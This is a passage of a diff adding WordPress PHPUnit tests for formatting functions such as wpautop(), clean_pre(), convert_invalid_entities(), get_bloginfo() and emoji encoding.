+<p>As a subscriber, you will receive an email every time an update is available (and only then).  This will make it easier to keep your site up to date, and secure from evildoers.<br />
+When a new version is released, <a href="%2$s" title="If you are already logged in, this will take you directly to the Dashboard">log in to the Dashboard</a> and follow the instructions.<br />
+Upgrading is a couple of clicks!</p>
+<p>Then you can start enjoying the WordPress experience:</p>
+<ul>
+<li>Edit your personal information at <a href="%3$s" title="Edit settings like your password, your display name and your contact information">Users &#8250; Your Profile</a></li>
+<li>Start publishing at <a href="%4$s" title="Create a new post">Posts &#8250; Add New</a> and at <a href="%5$s" title="Create a new page">Pages &#8250; Add New</a></li>
+<li>Browse and install plugins at <a href="%6$s" title="Browse and install plugins at the official WordPress repository directly from your Dashboard">Plugins &#8250; Add New</a></li>
+<li>Browse and install themes at <a href="%7$s" title="Browse and install themes at the official WordPress repository directly from your Dashboard">Appearance &#8250; Add New Themes</a></li>
+<li>Modify and prettify your website&#8217;s links at <a href="%8$s" title="For example, select a link structure like: http://example.com/1999/12/post-name">Settings &#8250; Permalinks</a></li>
+<li>Import content from another system or WordPress site at <a href="%9$s" title="WordPress comes with importers for the most common publishing systems">Tools &#8250; Import</a></li>
+<li>Find answers to your questions at the <a href="%10$s" title="The official WordPress documentation, maintained by the WordPress community">WordPress Codex</a></li>
+</ul>
+<p>To keep this post for reference, <a href="%11$s" title="Click to edit the content and settings of this post">click to edit it</a>, go to the Publish box and change its Visibility from Public to Private.</p>
+<p>Thank you for selecting WordPress.  We wish you happy publishing!</p>
+<p>PS.  Not yet subscribed for update notifications?  <a href="%1$s" title="Subscribe to the WordPress mailing list for Release Notifications">Do it now!</a></p>
+';
+		$test_data = '
+Welcome to WordPress!  This post contains important information.  After you read it, you can make it private to hide it from visitors but still have the information handy for future reference.
+
+First things first:
+<ul>
+<li><a href="%1$s" title="Subscribe to the WordPress mailing list for Release Notifications">Subscribe to the WordPress mailing list for release notifications</a></li>
+</ul>
+As a subscriber, you will receive an email every time an update is available (and only then).  This will make it easier to keep your site up to date, and secure from evildoers.
+When a new version is released, <a href="%2$s" title="If you are already logged in, this will take you directly to the Dashboard">log in to the Dashboard</a> and follow the instructions.
+Upgrading is a couple of clicks!
+
+Then you can start enjoying the WordPress experience:
+<ul>
+<li>Edit your personal information at <a href="%3$s" title="Edit settings like your password, your display name and your contact information">Users &#8250; Your Profile</a></li>
+<li>Start publishing at <a href="%4$s" title="Create a new post">Posts &#8250; Add New</a> and at <a href="%5$s" title="Create a new page">Pages &#8250; Add New</a></li>
+<li>Browse and install plugins at <a href="%6$s" title="Browse and install plugins at the official WordPress repository directly from your Dashboard">Plugins &#8250; Add New</a></li>
+<li>Browse and install themes at <a href="%7$s" title="Browse and install themes at the official WordPress repository directly from your Dashboard">Appearance &#8250; Add New Themes</a></li>
+<li>Modify and prettify your website&#8217;s links at <a href="%8$s" title="For example, select a link structure like: http://example.com/1999/12/post-name">Settings &#8250; Permalinks</a></li>
+<li>Import content from another system or WordPress site at <a href="%9$s" title="WordPress comes with importers for the most common publishing systems">Tools &#8250; Import</a></li>
+<li>Find answers to your questions at the <a href="%10$s" title="The official WordPress documentation, maintained by the WordPress community">WordPress Codex</a></li>
+</ul>
+To keep this post for reference, <a href="%11$s" title="Click to edit the content and settings of this post">click to edit it</a>, go to the Publish box and change its Visibility from Public to Private.
+
+Thank you for selecting WordPress.  We wish you happy publishing!
+
+PS.  Not yet subscribed for update notifications?  <a href="%1$s" title="Subscribe to the WordPress mailing list for Release Notifications">Do it now!</a>
+';
+
+		// On windows environments, the EOL-style is \r\n
+		$expected = str_replace( "\r\n", "\n", $expected);
+
+		$this->assertEquals($expected, wpautop($test_data));
+	}
+
+	/**
+	 * wpautop() Should not alter the contents of "<pre>" elements
+	 *
+	 * @ticket 19855
+	 */
+	public function test_skip_pre_elements() {
+		$code = file_get_contents( DIR_TESTDATA . '/formatting/sizzle.js' );
+		$code = str_replace( "\r", '', $code );
+		$code = htmlentities( $code );
+
+		// Not wrapped in <p> tags
+		$str = "<pre>$code</pre>";
+		$this->assertEquals( $str, trim( wpautop( $str ) ) );
+
+		// Text before/after is wrapped in <p> tags
+		$str = "Look at this code\n\n<pre>$code</pre>\n\nIsn't that cool?";
+
+		// Expected text after wpautop
+		$expected = '<p>Look at this code</p>' . "\n<pre>" . $code . "</pre>\n" . '<p>Isn\'t that cool?</p>';
+		$this->assertEquals( $expected, trim( wpautop( $str ) ) );
+
+		// Make sure HTML breaks are maintained if manually inserted
+		$str = "Look at this code\n\n<pre>Line1<br />Line2<br>Line3<br/>Line4\nActual Line 2\nActual Line 3</pre>\n\nCool, huh?";
+		$expected = "<p>Look at this code</p>\n<pre>Line1<br />Line2<br>Line3<br/>Line4\nActual Line 2\nActual Line 3</pre>\n<p>Cool, huh?</p>";
+		$this->assertEquals( $expected, trim( wpautop( $str ) ) );
+	}
+
+	/**
+	 * wpautop() Should not add <br/> to "<input>" elements
+	 *
+	 * @ticket 16456
+	 */
+	public function test_skip_input_elements() {
+		$str = 'Username: <input type="text" id="username" name="username" /><br />Password: <input type="password" id="password1" name="password1" />';
+		$this->assertEquals( "<p>$str</p>", trim( wpautop( $str ) ) );
+	}
+
+	/**
+	 * wpautop() Should not add <p> and <br/> around <source> and <track>
+	 *
+	 * @ticket 26864
+	 */
+	public function test_source_track_elements() {
+		$content = "Paragraph one.\n\n" .
+			'<video class="wp-video-shortcode" id="video-0-1" width="640" height="360" preload="metadata" controls="controls">
+				<source type="video/mp4" src="http://domain.tld/wp-content/uploads/2013/12/xyz.mp4" />
+				<!-- WebM/VP8 for Firefox4, Opera, and Chrome -->
+				<source type="video/webm" src="myvideo.webm" />
+				<!-- Ogg/Vorbis for older Firefox and Opera versions -->
+				<source type="video/ogg" src="myvideo.ogv" />
+				<!-- Optional: Add subtitles for each language -->
+				<track kind="subtitles" src="subtitles.srt" srclang="en" />
+				<!-- Optional: Add chapters -->
+				<track kind="chapters" src="chapters.srt" srclang="en" />
+				<a href="http://domain.tld/wp-content/uploads/2013/12/xyz.mp4">http://domain.tld/wp-content/uploads/2013/12/xyz.mp4</a>
+			</video>' .
+			"\n\nParagraph two.";
+
+		$content2 = "Paragraph one.\n\n" .
+			'<video class="wp-video-shortcode" id="video-0-1" width="640" height="360" preload="metadata" controls="controls">
+
+			<source type="video/mp4" src="http://domain.tld/wp-content/uploads/2013/12/xyz.mp4" />
+
+			<!-- WebM/VP8 for Firefox4, Opera, and Chrome -->
+			<source type="video/webm" src="myvideo.webm" />
+
+			<!-- Ogg/Vorbis for older Firefox and Opera versions -->
+			<source type="video/ogg" src="myvideo.ogv" />
+
+			<!-- Optional: Add subtitles for each language -->
+			<track kind="subtitles" src="subtitles.srt" srclang="en" />
+
+			<!-- Optional: Add chapters -->
+			<track kind="chapters" src="chapters.srt" srclang="en" />
+
+			<a href="http://domain.tld/wp-content/uploads/2013/12/xyz.mp4">http://domain.tld/wp-content/uploads/2013/12/xyz.mp4</a>
+
+			</video>' .
+			"\n\nParagraph two.";
+
+		$expected = "<p>Paragraph one.</p>\n" . // line breaks only after <p>
+			'<p><video class="wp-video-shortcode" id="video-0-1" width="640" height="360" preload="metadata" controls="controls">' .
+			'<source type="video/mp4" src="http://domain.tld/wp-content/uploads/2013/12/xyz.mp4" />' .
+			'<!-- WebM/VP8 for Firefox4, Opera, and Chrome -->' .
+			'<source type="video/webm" src="myvideo.webm" />' .
+			'<!-- Ogg/Vorbis for older Firefox and Opera versions -->' .
+			'<source type="video/ogg" src="myvideo.ogv" />' .
+			'<!-- Optional: Add subtitles for each language -->' .
+			'<track kind="subtitles" src="subtitles.srt" srclang="en" />' .
+			'<!-- Optional: Add chapters -->' .
+			'<track kind="chapters" src="chapters.srt" srclang="en" />' .
+			'<a href="http://domain.tld/wp-content/uploads/2013/12/xyz.mp4">' .
+			"http://domain.tld/wp-content/uploads/2013/12/xyz.mp4</a></video></p>\n" .
+			'<p>Paragraph two.</p>';
+
+		// When running the content through wpautop() from wp_richedit_pre()
+		$shortcode_content = "Paragraph one.\n\n" .
+			'[video width="720" height="480" mp4="http://domain.tld/wp-content/uploads/2013/12/xyz.mp4"]
+			<!-- WebM/VP8 for Firefox4, Opera, and Chrome -->
+			<source type="video/webm" src="myvideo.webm" />
+			<!-- Ogg/Vorbis for older Firefox and Opera versions -->
+			<source type="video/ogg" src="myvideo.ogv" />
+			<!-- Optional: Add subtitles for each language -->
+			<track kind="subtitles" src="subtitles.srt" srclang="en" />
+			<!-- Optional: Add chapters -->
+			<track kind="chapters" src="chapters.srt" srclang="en" />
+			[/video]' .
+			"\n\nParagraph two.";
+
+		$shortcode_expected = "<p>Paragraph one.</p>\n" . // line breaks only after <p>
+			'<p>[video width="720" height="480" mp4="http://domain.tld/wp-content/uploads/2013/12/xyz.mp4"]' .
+			'<!-- WebM/VP8 for Firefox4, Opera, and Chrome --><source type="video/webm" src="myvideo.webm" />' .
+			'<!-- Ogg/Vorbis for older Firefox and Opera versions --><source type="video/ogg" src="myvideo.ogv" />' .
+			'<!-- Optional: Add subtitles for each language --><track kind="subtitles" src="subtitles.srt" srclang="en" />' .
+			'<!-- Optional: Add chapters --><track kind="chapters" src="chapters.srt" srclang="en" />' .
+			"[/video]</p>\n" .
+			'<p>Paragraph two.</p>';
+
+		$this->assertEquals( $expected, trim( wpautop( $content ) ) );
+		$this->assertEquals( $expected, trim( wpautop( $content2 ) ) );
+		$this->assertEquals( $shortcode_expected, trim( wpautop( $shortcode_content ) ) );
+	}
+
+	/**
+	 * wpautop() Should not add <p> and <br/> around <param> and <embed>
+	 *
+	 * @ticket 26864
+	 */
+	public function test_param_embed_elements() {
+		$content1 = '
+Paragraph one.
+
+<object width="400" height="224" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0">
+	<param name="src" value="http://domain.tld/wp-content/uploads/2013/12/xyz.swf" />
+	<param name="allowfullscreen" value="true" />
+	<param name="allowscriptaccess" value="always" />
+	<param name="overstretch" value="true" />
+	<param name="flashvars" value="isDynamicSeeking=true" />
+
+	<embed width="400" height="224" type="application/x-shockwave-flash" src="http://domain.tld/wp-content/uploads/2013/12/xyz.swf" wmode="direct" seamlesstabbing="true" allowfullscreen="true" overstretch="true" flashvars="isDynamicSeeking=true" />
+</object>
+
+Paragraph two.';
+
+		$expected1 = "<p>Paragraph one.</p>\n" . // line breaks only after <p>
+			'<p><object width="400" height="224" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0">' .
+			'<param name="src" value="http://domain.tld/wp-content/uploads/2013/12/xyz.swf" />' .
+			'<param name="allowfullscreen" value="true" />' .
+			'<param name="allowscriptaccess" value="always" />' .
+			'<param name="overstretch" value="true" />' .
+			'<param name="flashvars" value="isDynamicSeeking=true" />' .
+			'<embed width="400" height="224" type="application/x-shockwave-flash" src="http://domain.tld/wp-content/uploads/2013/12/xyz.swf" wmode="direct" seamlesstabbing="true" allowfullscreen="true" overstretch="true" flashvars="isDynamicSeeking=true" />' .
+			"</object></p>\n" .
+			'<p>Paragraph two.</p>';
+
+		$content2 = '
+Paragraph one.
+
+<div class="video-player" id="x-video-0">
+<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="640" height="360" id="video-0" standby="Standby text">
+  <param name="movie" value="http://domain.tld/wp-content/uploads/2013/12/xyz.swf" />
+  <param name="quality" value="best" />
+
+  <param name="seamlesstabbing" value="true" />
+  <param name="allowfullscreen" value="true" />
+  <param name="allowscriptaccess" value="always" />
+  <param name="overstretch" value="true" />
+
+  <!--[if !IE]--><object type="application/x-shockwave-flash" data="http://domain.tld/wp-content/uploads/2013/12/xyz.swf" width="640" height="360" standby="Standby text">
+    <param name="quality" value="best" />
+
+    <param name="seamlesstabbing" value="true" />
+    <param name="allowfullscreen" value="true" />
+    <param name="allowscriptaccess" value="always" />
+    <param name="overstretch" value="true" />
+  </object><!--<![endif]-->
+</object></div>
+
+Paragraph two.';
+
+		$expected2 = "<p>Paragraph one.</p>\n" . // line breaks only after block tags
+			'<div class="video-player" id="x-video-0">' . "\n" .
+			'<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="640" height="360" id="video-0" standby="Standby text">' .
+			'<param name="movie" value="http://domain.tld/wp-content/uploads/2013/12/xyz.swf" />' .
+			'<param name="quality" value="best" />' .
+			'<param name="seamlesstabbing" value="true" />' .
+			'<param name="allowfullscreen" value="true" />' .
+			'<param name="allowscriptaccess" value="always" />' .
+			'<param name="overstretch" value="true" />' .
+			'<!--[if !IE]--><object type="application/x-shockwave-flash" data="http://domain.tld/wp-content/uploads/2013/12/xyz.swf" width="640" height="360" standby="Standby text">' .
+			'<param name="quality" value="best" />' .
+			'<param name="seamlesstabbing" value="true" />' .
+			'<param name="allowfullscreen" value="true" />' .
+			'<param name="allowscriptaccess" value="always" />' .
+			'<param name="overstretch" value="true" /></object><!--<![endif]-->' .
+			"</object></div>\n" .
+			'<p>Paragraph two.</p>';
+
+		$this->assertEquals( $expected1, trim( wpautop( $content1 ) ) );
+		$this->assertEquals( $expected2, trim( wpautop( $content2 ) ) );
+	}
+
+	/**
+	 * wpautop() Should not add <br/> to "<select>" or "<option>" elements
+	 *
+	 * @ticket 22230
+	 */
+	public function test_skip_select_option_elements() {
+		$str = 'Country: <select id="state" name="state"><option value="1">Alabama</option><option value="2">Alaska</option><option value="3">Arizona</option><option value="4">Arkansas</option><option value="5">California</option></select>';
+		$this->assertEquals( "<p>$str</p>", trim( wpautop( $str ) ) );
+	}
+
+	/**
+	 * wpautop() should treat block level HTML elements as blocks.
+	 *
+	 * @ticket 27268
+	 */
+	function test_that_wpautop_treats_block_level_elements_as_blocks() {
+		$blocks = array(
+			'table',
+			'thead',
+			'tfoot',
+			'caption',
+			'col',
+			'colgroup',
+			'tbody',
+			'tr',
+			'td',
+			'th',
+			'div',
+			'dl',
+			'dd',
+			'dt',
+			'ul',
+			'ol',
+			'li',
+			'pre',
+			'form',
+			'map',
+			'area',
+			'address',
+			'math',
+			'style',
+			'p',
+			'h1',
+			'h2',
+			'h3',
+			'h4',
+			'h5',
+			'h6',
+			'hr',
+			'fieldset',
+			'legend',
+			'section',
+			'article',
+			'aside',
+			'hgroup',
+			'header',
+			'footer',
+			'nav',
+			'figure',
+			'details',
+			'menu',
+			'summary',
+		);
+
+		// Check whitespace normalization.
+		$content = array();
+
+		foreach ( $blocks as $block ) {
+			$content[] = "<$block>foo</$block>";
+		}
+
+		$expected = join( "\n", $content );
+		$input = join( "\n\n", $content ); // WS difference
+
+		$this->assertEquals( $expected, trim( wpautop( $input ) ) );
+
+		$input = join( "", $content ); // WS difference
+
+		$this->assertEquals( $expected, trim( wpautop( $input ) ) );
+
+		// Check whitespace addition.
+		$content = array();
+
+		foreach ( $blocks as $block ) {
+			$content[] = "<$block/>";
+		}
+
+		$expected = join( "\n", $content );
+		$input = join( "", $content );
+
+		$this->assertEquals( $expected, trim( wpautop( $input ) ) );
+
+		// Check whitespace addition with attributes.
+		$content = array();
+
+		foreach ( $blocks as $block ) {
+			$content[] = "<$block attr='value'>foo</$block>";
+		}
+
+		$expected = join( "\n", $content );
+		$input = join( "", $content );
+
+		$this->assertEquals( $expected, trim( wpautop( $input ) ) );
+	}
+
+	/**
+	 * wpautop() should autop a blockquote's contents but not the blockquote itself
+	 *
+	 * @ticket 27268
+	 */
+	function test_that_wpautop_does_not_wrap_blockquotes_but_does_autop_their_contents() {
+		$content  = "<blockquote>foo</blockquote>";
+		$expected = "<blockquote><p>foo</p></blockquote>";
+
+		$this->assertEquals( $expected, trim( wpautop( $content ) ) );
+	}
+
+	/**
+	 * wpautop() should treat inline HTML elements as inline.
+	 *
+	 * @ticket 27268
+	 */
+	function test_that_wpautop_treats_inline_elements_as_inline() {
+		$inlines = array(
+			'a',
+			'em',
+			'strong',
+			'small',
+			's',
+			'cite',
+			'q',
+			'dfn',
+			'abbr',
+			'data',
+			'time',
+			'code',
+			'var',
+			'samp',
+			'kbd',
+			'sub',
+			'sup',
+			'i',
+			'b',
+			'u',
+			'mark',
+			'span',
+			'del',
+			'ins',
+			'noscript',
+			'select',
+		);
+
+		$content = $expected = array();
+
+		foreach ( $inlines as $inline ) {
+			$content[] = "<$inline>foo</$inline>";
+			$expected[] = "<p><$inline>foo</$inline></p>";
+		}
+
+		$content = join( "\n\n", $content );
+		$expected = join( "\n", $expected );
+
+		$this->assertEquals( $expected, trim( wpautop( $content ) ) );
+	}
+
+	/**
+	 * Do not allow newlines within HTML elements to become mangled.
+	 *
+	 * @ticket 33106
+	 * @dataProvider data_element_sanity
+	 */
+	function test_element_sanity( $input, $output ) {
+		return $this->assertEquals( $output, wpautop( $input ) );
+	}
+
+	function data_element_sanity() {
+		return array(
+			array(
+				"Hello <a\nhref='world'>",
+				"<p>Hello <a\nhref='world'></p>\n",
+			),
+			array(
+				"Hello <!-- a\nhref='world' -->",
+				"<p>Hello <!-- a\nhref='world' --></p>\n",
+			),
+			array(
+				"Hello <!-- <object>\n<param>\n<param>\n<embed>\n</embed>\n</object>\n -->",
+				"<p>Hello <!-- <object>\n<param>\n<param>\n<embed>\n</embed>\n</object>\n --></p>\n",
+			),
+			array(
+				"Hello <!-- <object>\n<param/>\n<param/>\n<embed>\n</embed>\n</object>\n -->",
+				"<p>Hello <!-- <object>\n<param/>\n<param/>\n<embed>\n</embed>\n</object>\n --></p>\n",
+			),
+/* Block elements inside comments will fail this test in all versions, it's not a regression.
+			array(
+				"Hello <!-- <hr> a\nhref='world' -->",
+				"<p>Hello <!-- <hr> a\nhref='world' --></p>\n",
+			),
+			array(
+				"Hello <![CDATA[ <hr> a\nhttps://youtu.be/jgz0uSaOZbE\n ]]>",
+				"<p>Hello <![CDATA[ <hr> a\nhttps://youtu.be/jgz0uSaOZbE\n ]]></p>\n",
+			),
+*/
+			array(
+				"Hello <![CDATA[ a\nhttps://youtu.be/jgz0uSaOZbE\n ]]>",
+				"<p>Hello <![CDATA[ a\nhttps://youtu.be/jgz0uSaOZbE\n ]]></p>\n",
+			),
+			array(
+				"Hello <![CDATA[ <!-- a\nhttps://youtu.be/jgz0uSaOZbE\n a\n9 ]]> -->",
+				"<p>Hello <![CDATA[ <!-- a\nhttps://youtu.be/jgz0uSaOZbE\n a\n9 ]]> --></p>\n",
+			),
+			array(
+				"Hello <![CDATA[ <!-- a\nhttps://youtu.be/jgz0uSaOZbE\n a\n9 --> a\n9 ]]>",
+				"<p>Hello <![CDATA[ <!-- a\nhttps://youtu.be/jgz0uSaOZbE\n a\n9 --> a\n9 ]]></p>\n",
+			),
+		);
+	}
+
+	/**
+	 * wpautop() should not convert line breaks after <br /> tags
+	 *
+	 * @ticket 33377
+	 */
+	function test_that_wpautop_skips_line_breaks_after_br() {
+		$content = '
+line 1<br>
+line 2<br/>
+line 3<br />
+line 4
+line 5
+';
+
+		$expected = '<p>line 1<br />
+line 2<br />
+line 3<br />
+line 4<br />
+line 5</p>';
+
+		$this->assertEquals( $expected, trim( wpautop( $content ) ) );
+	}
+
+	/**
+	 * wpautop() should convert multiple line breaks into a paragraph regarless of <br /> format
+	 *
+	 * @ticket 33377
+	 */
+	function test_that_wpautop_adds_a_paragraph_after_multiple_br() {
+		$content = '
+line 1<br>
+<br/>
+line 2<br/>
+<br />
+';
+
+		$expected = '<p>line 1</p>
+<p>line 2</p>';
+
+		$this->assertEquals( $expected, trim( wpautop( $content ) ) );
+	}
+
+
+	/**
+	 * @ticket 4857
+	 */
+	function test_that_text_before_blocks_is_peed() {
+		$content = 'a<div>b</div>';
+		$expected = "<p>a</p>\n<div>b</div>";
+
+		$this->assertEquals( $expected, trim( wpautop( $content ) ) );
+	}
+
+	/**
+	 * wpautop() should not add extra </p> before <figcaption>
+	 *
+	 * @covers ::wpautop
+	 * @uses trim
+	 *
+	 * @ticket 39307
+	 */
+	function test_that_wpautop_doses_not_add_extra_closing_p_in_figure() {
+		$content1 = $expected1 = '<figure><img src="example.jpg" /><figcaption>Caption</figcaption></figure>';
+
+		$content2 = '<figure>
+<img src="example.jpg" />
+<figcaption>Caption</figcaption>
+</figure>';
+
+		$expected2 = '<figure>
+<img src="example.jpg" /><figcaption>Caption</figcaption></figure>';
+
+		$this->assertEquals( $expected1, trim( wpautop( $content1 ) ) );
+		$this->assertEquals( $expected2, trim( wpautop( $content2 ) ) );
+	}
+
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/BlogInfo.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/BlogInfo.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/BlogInfo.php	(revision 56912)
@@ -0,0 +1,73 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_BlogInfo extends WP_UnitTestCase {
+
+	/**
+	 * @dataProvider locales
+	 * @ticket 28303
+	 */
+	function test_get_bloginfo_language( $test_locale, $expected ) {
+		global $locale;
+
+		$old_locale = $locale;
+
+		$locale = $test_locale;
+		$this->assertEquals( $expected, get_bloginfo( 'language' ) );
+
+		$locale = $old_locale;
+	}
+
+	function locales() {
+		return array(
+			//     Locale          Language code
+			array( 'en_US',        'en-US' ),
+			array( 'ar',           'ar' ),
+			array( 'de_DE',        'de-DE' ),
+			array( 'de_DE_formal', 'de-DE-formal' ),
+			array( 'oci',          'oci' ),
+			array( 'pt_PT_ao1990', 'pt-PT-ao1990' ),
+		);
+	}
+
+	/**
+	 * @ticket 27942
+	 */
+	function test_bloginfo_sanitize_option() {
+		$old_values = array(
+			'blogname'        => get_option( 'blogname' ),
+			'blogdescription' => get_option( 'blogdescription' ),
+		);
+
+		$values = array(
+			'foo'                  => 'foo',
+			'<em>foo</em>'         => '&lt;em&gt;foo&lt;/em&gt;',
+			'<script>foo</script>' => '&lt;script&gt;foo&lt;/script&gt;',
+			'&lt;foo&gt;'          => '&lt;foo&gt;',
+			'<foo'                 => '&lt;foo',
+		);
+
+		foreach ( $values as $value => $expected ) {
+			$sanitized_value = sanitize_option( 'blogname', $value );
+			update_option( 'blogname', $sanitized_value );
+
+			$this->assertEquals( $expected, $sanitized_value );
+			$this->assertEquals( $expected, get_bloginfo( 'name' ) );
+			$this->assertEquals( $expected, get_bloginfo( 'name', 'display' ) );
+
+			$sanitized_value = sanitize_option( 'blogdescription', $value );
+			update_option( 'blogdescription', $sanitized_value );
+
+			$this->assertEquals( $expected, $sanitized_value );
+			$this->assertEquals( $expected, get_bloginfo( 'description' ) );
+			$this->assertEquals( $expected, get_bloginfo( 'description', 'display' ) );
+		}
+
+		// Restore old values.
+		foreach ( $old_values as $option_name => $value ) {
+			update_option( $option_name, $value );
+		}
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/CleanPre.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/CleanPre.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/CleanPre.php	(revision 56912)
@@ -0,0 +1,40 @@
+<?php
+
+/**
+ * The clean_pre() removes pararaph and line break
+ * tags within `<pre>` elements as part of wpautop().
+ *
+ * @group formatting
+ * @expectedDeprecated clean_pre
+ */
+class Tests_Formatting_CleanPre extends WP_UnitTestCase {
+
+	function test_removes_self_closing_br_with_space() {
+		$source = 'a b c\n<br />sldfj<br />';
+		$res = 'a b c\nsldfj';
+
+		$this->assertEquals($res, clean_pre($source));
+	}
+
+	function test_removes_self_closing_br_without_space() {
+		$source = 'a b c\n<br/>sldfj<br/>';
+		$res = 'a b c\nsldfj';
+		$this->assertEquals($res, clean_pre($source));
+	}
+
+	// I don't think this can ever happen in production;
+	// <br> is changed to <br /> elsewhere. Left in because
+	// that replacement shouldn't happen (what if you want
+	// HTML 4 output?).
+	function test_removes_html_br() {
+		$source = 'a b c\n<br>sldfj<br>';
+		$res = 'a b c\nsldfj';
+		$this->assertEquals($res, clean_pre($source));
+	}
+
+	function test_removes_p() {
+		$source = "<p>isn't this exciting!</p><p>oh indeed!</p>";
+		$res = "\nisn't this exciting!\noh indeed!";
+		$this->assertEquals($res, clean_pre($source));
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/ConvertInvalidEntries.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/ConvertInvalidEntries.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/ConvertInvalidEntries.php	(revision 56912)
@@ -0,0 +1,25 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_ConvertInvalidEntities extends WP_UnitTestCase {
+	function test_replaces_windows1252_entities_with_unicode_ones() {
+		$input = "&#130;&#131;&#132;&#133;&#134;&#135;&#136;&#137;&#138;&#139;&#140;&#145;&#146;&#147;&#148;&#149;&#150;&#151;&#152;&#153;&#154;&#155;&#156;&#159;";
+		$output = "&#8218;&#402;&#8222;&#8230;&#8224;&#8225;&#710;&#8240;&#352;&#8249;&#338;&#8216;&#8217;&#8220;&#8221;&#8226;&#8211;&#8212;&#732;&#8482;&#353;&#8250;&#339;&#376;";
+		$this->assertEquals( $output, convert_invalid_entities( $input ) );
+	}
+
+	/**
+	 * @ticket 20503
+	 */
+	function test_replaces_latin_letter_z_with_caron() {
+		$input = "&#142;&#158;";
+		$output = "&#381;&#382;";
+		$this->assertEquals( $output, convert_invalid_entities( $input ) );
+	}
+
+	function test_escapes_lone_ampersands() {
+		$this->assertEquals("at&#038;t", convert_chars("at&t"));
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/Emoji.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/Emoji.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/Emoji.php	(revision 56912)
@@ -0,0 +1,149 @@
+<?php
+
+/**
+ * @group formatting
+ * @group emoji
+ */
+class Tests_Formatting_Emoji extends WP_UnitTestCase {
+
+	private $png_cdn = 'https://s.w.org/images/core/emoji/11/72x72/';
+	private $svn_cdn = 'https://s.w.org/images/core/emoji/11/svg/';
+
+	/**
+	 * @ticket 36525
+	 */
+	public function test_unfiltered_emoji_cdns() {
+		$output = get_echo( '_print_emoji_detection_script' );
+
+		$this->assertContains( wp_json_encode( $this->png_cdn ), $output );
+		$this->assertContains( wp_json_encode( $this->svn_cdn ), $output );
+	}
+
+	public function _filtered_emoji_svn_cdn( $cdn = '' ) {
+		return 'https://s.wordpress.org/images/core/emoji/svg/';
+	}
+
+	/**
+	 * @ticket 36525
+	 */
+	public function test_filtered_emoji_svn_cdn() {
+		$filtered_svn_cdn = $this->_filtered_emoji_svn_cdn();
+
+		add_filter( 'emoji_svg_url', array( $this, '_filtered_emoji_svn_cdn' ) );
+
+		$output = get_echo( '_print_emoji_detection_script' );
+
+		$this->assertContains( wp_json_encode( $this->png_cdn ), $output );
+		$this->assertNotContains( wp_json_encode( $this->svn_cdn ), $output );
+		$this->assertContains( wp_json_encode( $filtered_svn_cdn ), $output );
+
+		remove_filter( 'emoji_svg_url', array( $this, '_filtered_emoji_svn_cdn' ) );
+	}
+
+	public function _filtered_emoji_png_cdn( $cdn = '' ) {
+		return 'https://s.wordpress.org/images/core/emoji/png_cdn/';
+	}
+
+	/**
+	 * @ticket 36525
+	 */
+	public function test_filtered_emoji_png_cdn() {
+		$filtered_png_cdn = $this->_filtered_emoji_png_cdn();
+
+		add_filter( 'emoji_url', array( $this, '_filtered_emoji_png_cdn' ) );
+
+		$output = get_echo( '_print_emoji_detection_script' );
+
+		$this->assertContains( wp_json_encode( $filtered_png_cdn ), $output );
+		$this->assertNotContains( wp_json_encode( $this->png_cdn ), $output );
+		$this->assertContains( wp_json_encode( $this->svn_cdn ), $output );
+
+		remove_filter( 'emoji_url', array( $this, '_filtered_emoji_png_cdn' ) );
+	}
+
+	/**
+	 * @ticket 41501
+	 */
+	public function test_wp_emoji_list_returns_data() {
+		$default = _wp_emoji_list();
+		$this->assertNotEmpty( $default );
+
+		$entities = _wp_emoji_list( 'entities' );
+		$this->assertNotEmpty( $entities );
+
+		$this->assertSame( $default, $entities );
+
+		$partials = _wp_emoji_list( 'partials' );
+		$this->assertNotEmpty( $partials );
+
+		$this->assertNotSame( $default, $partials );
+	}
+
+	public function data_wp_encode_emoji() {
+		return array(
+			array(
+				// Not emoji
+				'’',
+				'’',
+			),
+			array(
+				// Simple emoji
+				'🙂',
+				'&#x1f642;',
+			),
+			array(
+				// Skin tone, gender, ZWJ, emoji selector
+				'👮🏼‍♀️',
+				'&#x1f46e;&#x1f3fc;&#x200d;&#x2640;&#xfe0f;',
+			),
+			array(
+				// Unicode 10
+				'🧚',
+				'&#x1f9da;',
+			),
+		);
+	}
+
+	/**
+	 * @ticket 35293
+	 * @dataProvider data_wp_encode_emoji
+	 */
+	public function test_wp_encode_emoji( $emoji, $expected ) {
+		$this->assertSame( $expected, wp_encode_emoji( $emoji ) );
+	}
+
+	public function data_wp_staticize_emoji() {
+		$data = array(
+			array(
+				// Not emoji
+				'’',
+				'’',
+			),
+			array(
+				// Simple emoji
+				'🙂',
+				'<img src="' . $this->png_cdn . '1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" />',
+			),
+			array(
+				// Skin tone, gender, ZWJ, emoji selector
+				'👮🏼‍♀️',
+				'<img src="' . $this->png_cdn . '1f46e-1f3fc-200d-2640-fe0f.png" alt="👮🏼‍♀️" class="wp-smiley" style="height: 1em; max-height: 1em;" />',
+			),
+			array(
+				// Unicode 10
+				'🧚',
+				'<img src="' . $this->png_cdn . '1f9da.png" alt="🧚" class="wp-smiley" style="height: 1em; max-height: 1em;" />',
+			),
+		);
+
+		return $data;
+	}
+
+	/**
